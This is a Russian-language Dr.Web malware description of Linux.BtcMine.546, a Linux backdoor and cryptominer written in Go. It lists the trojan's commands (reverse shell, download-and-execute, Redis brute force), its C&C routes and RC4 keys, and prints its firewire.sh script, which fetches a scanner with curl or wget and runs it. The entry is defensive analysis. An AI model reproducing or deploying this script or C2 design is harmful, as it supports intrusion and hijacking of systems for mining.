Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Linux.BtcMine.546

Добавлен в вирусную базу Dr.Web: 2022-06-09

Описание добавлено:

SHA1-хеш:

  • e545ceffc8948e3ca9900212807cf3a862d33581

Описание

Linux.BtcMine.546 является троянской программой-бэкдором, способной заражать устройства под управлением ОС Linux и запускать майнер для добычи криптовалюты. Этот троян обладает развитыми возможностями по удаленному управлению. Реализован в виде исполняемого файла формата ELF64, написанного на языке Go.

Принцип действия

При запуске троян проверяет, не был ли он запущен на компьютере ранее. Если он находит свой запущенный процесс, что выражается в наличии файла .lock, то работающий экземпляр программы завершается. После этого троян получает свои настройки посредством библиотеки envconfig, которая позволяет инициализировать конфигурации на основании переменных среды. В частности, envconfig вносит в структуру Specification IP-адрес C&C-сервера и флаг включения майнера:

struct Specification{
  string Backend;  // IP-адрес С&C-сервера, строка закодирована с помощью RC4
  bool Debug;
  bool DisableMi;  // флаг включения майнера
};

Если в конфигурации не указан IP-адрес C&C-сервера, то трояну передается адрес по умолчанию — hxxp://185.154.53[.]140. На управляющий сервер отправляется информация о системе, включающая наименование ОС, тип архитектуры, версию трояна, количество ядер процессора, объем памяти и другие параметры. После отправки этих данных троян переходит в режим приема команд. Следует отметить, что весь трафик между трояном и управляющим сервером шифруется потоковым шифром RC4. В качестве ключей используются следующие две последовательности: 2abd6e2c1akl762939453125 и 764153446b61.

Список поддерживаемых команд

Название Описание
scan Сканирование портов
update Скачивает новую версию трояна и перезапускает его
exec Запускает команду через /bin/sh -c
exec_output Запускает команду через /bin/sh -c
Результат отправляется на сервер
masscan Создает скрипт firewire.sh
Запускает его на исполнение
Удаляет скрипт
socks Создает прокси (SOCKS5)
backconnect Создает reverse shell
request Отправка HTTP-запросов
tcp Перенаправляет полезную нагрузку на целевой компьютер
download_and_exec Скачивает файл и запускает его
Результат отправляется на сервер
Скачанный файл удаляется из системы
redisBrute Начинает брутфорс аутентификации в Redis
krongo Меняет IP-адрес активного C&C-сервера
stat Отправляет на сервер информацию о том, сколько памяти использует майнер
mkill Завершает работу майнера

Список используемых маршрутов

Название Описание Метод
/o Отправка результатов на сервер POST
/mg Получение PID текущего майнера GET
/ms Отправка PID майнера POST
/getT Получение дополнительной информации о команде (аргументы) POST
/get Получение задачи GET
/s Отправка данных о SOCK5-соединении POST
/r Отправка результата выполненной команды POST
/l Отправка файлов журнала POST
/h Поддержание активности соединения GET

Скрипт firewire.sh, создаваемый и выполняемый трояном, проверяет информацию о дистрибутиве в файле /etc/os-release, определяет тип пакетного менеджера, ищет установленный пакет libpcap-devel (библиотека для низкоуровневого мониторинга сети) и, если такой пакет отсутствует, выполняет его установку.

#!/bin/sh
PORT=$1
RATE=$2
INPUT=$3
OUTPUT=$4
MASSCAN=$5
cat /etc/os-release | grep -vw grep | grep "rhel" >/dev/null
if [ $? -eq 0 ]
    then
        rpm -qa | grep libpcap-dev > /dev/null
        if [[ $? -eq 0 ]]; then
        echo "Package is installed rhel!"
    els'
        echo "Package is NOT installed rhel!"
        yum -y update
        yum -y install  libpcap-devel
    fi
else
    if [ $(dpkg-query -W -f=',27h,'${Status}',27h,' libpcap-dev 2
>/dev/null | grep -c "ok installed") -eq 0 ];
        then
        echo "Package is NOT installed deb!"
        apt-get update
        apt-get install -y libpcap-dev
    else
        echo "Package is installed deb!"
    fi
fi
if [ -x "$(command -v md5sum)" ]; then
    sum=$(md5sum firewire | awk ',27h,'{ print $1 }',27h,')
    echo $sum
    case $sum in
    45a7ef83238f5244738bb5e7e3dd6299)
        echo "firewire OK"
        ;;
    *)
        echo "firewire wrong"
        (curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
       ;;'
    esac
else
    echo "No md5sum"'
    (curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
fi
chmod +x firewire
./firewire -iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT 2>/dev/null
if [ $? -eq 0 ]
    then
    echo "success"
else
    echo "fail"
    sudo ./firewire -iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT 2
>/dev/null
    if [ $? -eq 0 ]
    then
        echo "success2"
    else
        echo "fail2"
    fi
fi

Для получения информации о запущенных процессах троян использует адаптированную для языка Go версию библиотеки psutil: https://github.com/shirou/gopsutil/tree/master.

Обработку HTTP-запросов троян выполняет с помощью библиотеки Resty: https://github.com/go-resty/resty.

Работа с SOCKS5-прокси обеспечивается пакетом go-socks5: https://github.com/armon/go-socks5.

Рекомендации по лечению


Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру